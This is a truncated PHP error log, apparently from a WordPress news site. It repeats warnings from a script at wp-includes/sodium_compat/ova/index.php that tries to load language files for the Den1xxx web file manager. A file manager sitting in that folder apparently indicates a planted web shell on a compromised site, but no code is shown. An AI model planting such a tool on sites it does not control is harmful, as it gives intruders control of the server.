/home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:18 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:19 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:19 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:20 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:20 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:21 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:21 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:22 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:22 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:23 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:23 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:23 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 218 [30-Aug-2025 08:19:23 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 219 [30-Aug-2025 08:19:24 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 220 [30-Aug-2025 08:19:24 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 221 [30-Aug-2025 08:19:24 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 222 [30-Aug-2025 08:19:24 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 223 [30-Aug-2025 08:19:24 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:24 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:25 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:25 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:27 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:27 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:28 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:28 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:29 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:29 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:30 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:31 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:31 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:31 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:31 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 218 [30-Aug-2025 08:19:31 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 219 [30-Aug-2025 08:19:31 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 220 [30-Aug-2025 08:19:31 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 221 [30-Aug-2025 08:19:31 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 222 [30-Aug-2025 08:19:31 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 223 [30-Aug-2025 08:19:32 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:32 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:34 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:34 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:35 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:35 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:36 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:36 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:37 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:37 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:38 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:38 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:39 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:39 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:41 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:41 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:46 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:46 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:47 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:47 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:54 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:55 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:59 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:19:59 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:20:00 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:20:00 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:20:02 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:20:02 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:20:05 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:20:06 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:20:11 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:20:11 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:20:17 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:20:17 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:20:28 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:20:28 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:20:35 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:20:36 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:20:36 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 218 [30-Aug-2025 08:20:36 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 219 [30-Aug-2025 08:20:36 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 220 [30-Aug-2025 08:20:36 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 221 [30-Aug-2025 08:20:36 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 222 [30-Aug-2025 08:20:36 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 223 [30-Aug-2025 08:20:36 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:20:37 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:20:38 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:20:38 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:20:41 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:20:41 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:20:42 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:20:42 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:20:43 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:20:43 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:20:44 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:20:44 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:20:45 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:20:45 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:20:45 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 218 [30-Aug-2025 08:20:45 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 219 [30-Aug-2025 08:20:45 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 220 [30-Aug-2025 08:20:45 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 221 [30-Aug-2025 08:20:45 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 222 [30-Aug-2025 08:20:45 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 223 [30-Aug-2025 08:20:46 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:20:47 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:20:47 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 218 [30-Aug-2025 08:20:47 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 219 [30-Aug-2025 08:20:47 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 220 [30-Aug-2025 08:20:47 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 221 [30-Aug-2025 08:20:47 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 222 [30-Aug-2025 08:20:47 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 223 [30-Aug-2025 08:20:48 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:20:48 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:20:49 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:20:49 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:20:50 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:20:50 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:20:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:20:51 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:20:52 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:20:52 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no 